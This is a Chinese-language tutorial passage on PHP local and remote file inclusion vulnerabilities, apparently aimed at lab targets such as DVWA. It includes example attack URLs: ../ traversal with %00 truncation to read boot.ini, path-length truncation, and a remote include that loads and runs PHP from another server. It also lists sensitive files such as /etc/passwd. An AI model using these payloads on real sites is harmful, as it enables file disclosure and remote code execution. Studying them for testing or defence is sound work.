3、文件包含漏洞
3.1、文件包含漏洞简介
文件包含函数的参数没有经过过滤或者严格的定义,并且参数可以被用户控制,如果文件中存在恶意代码,无论文件是什么类型,文件内的恶意代码都会被解析并执行。
3.2、文件包含漏洞常见函数
PHP中的文件包含函数有以下4中:
(1)include()
(2)include_once()
(3)require()
(4)require_once()
3.3、无限制本地文件包含漏洞
无限制本地文件包含漏洞是指代码中没有包含文件指定的前缀或者.php、.html等扩展名,因此攻击者可以利用文件包含漏洞读取操作系统中的其他文件。
3.3.1、常见的敏感信息路径
(1)windows系统常见敏感文件如下:
c:\boot.ini 系统版本信息
c:\xxx\php.ini PHP配置信息
c:\xxx\my.ini MySQL配置信息
c:\xxx\httpd.conf Apache配置信息
(2)Linux系统常见敏感文件
/etc/passwd Linux系统账号信息
/etc/httpd/conf/httpd.conf Apache配置信息
/etc/my.conf MySQL配置信息
/urs/etc/php.ini PHP配置信息
3.3.2、利用无限制本地文件包含漏洞执行代码
找到一个有文件包含漏洞的页面,然后输入http://ip/xxx/xxx.php?filename=test.txt
而test.txt的内容是<?php phpinfo();?>
3.4、有限制本地文件包含漏洞
有限制本地文件包含漏洞是指代码中为包含文件指定了特定的前缀.php、.html等扩展名,攻击者需要绕过前缀或者扩展名过滤,才能利用文件包含漏洞。
3.4.1、%00截断文件包含
%00会被认为是结束符,后面的数据会被直接忽略,导致扩展名截断。
注意:
magic_quotes_gpc=off
PHP版本低于5.3.4
例如:
http://www.dvwa.com/index.php?filename=…/…/…/…/…/…/…/…/…/…/…/boot.ini%00
通过%00截断了后面.html扩展名过滤,可以读取boot.ini文件的内容。
3.4.2、路径长度截断文件包含
我们可以输入超过最大路径长度的目录,这样系统就会将后面的路径丢弃,导致扩展名截断。
windows下目录的最大路径为256B
Linux下目录的最大路径为4096B
例如:
http://www.dvwa.com/index.php?filename=test.txt/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
此时可以截断后面.html扩展名,包含了test.txt文件。
3.4.3、点号截断文件包含
当点号的长度大于256B时,就可以造成扩展名截断。跟上面路径长度截断一样。
3.5、Session文件包含
当可以获取Session文件的路径并且Session文件的内容可控是,就可以利用它进行攻击。
我们可以通过phpinfo中的session.save_path保存的是Session的存储位置。其次我们通过猜测,Linux中Session默认存储在/var/lib/php/session目录下。
这里我就不写演示了,可以参考下面这个案例,很全。
https://www.cnblogs.com/xiaoxiaosen/p/13066501.html
3.6、远程文件包含
3.6.1无限制远程文件包含
无限制远程文件包含是指包含文件的位置并不是本地服务器,而是通过URL的形式巴汗其他服务器上的文件,执行文件中的恶意代码。
漏洞利用条件:
allow_url_fopen = On(是否允许打开远程文件)
allow_url_include = On(是否允许include/require远程文件)
测试代码:
http://www.ctfs-wiki.com/FI/FI.php?filename=http://192.168.91.13/FI/php.txt
此时192.168.91.13服务器上php.txt中的PHP代码被执行
3.6.1、有限制远程文件包含
可以通过问号,井号,空格绕过。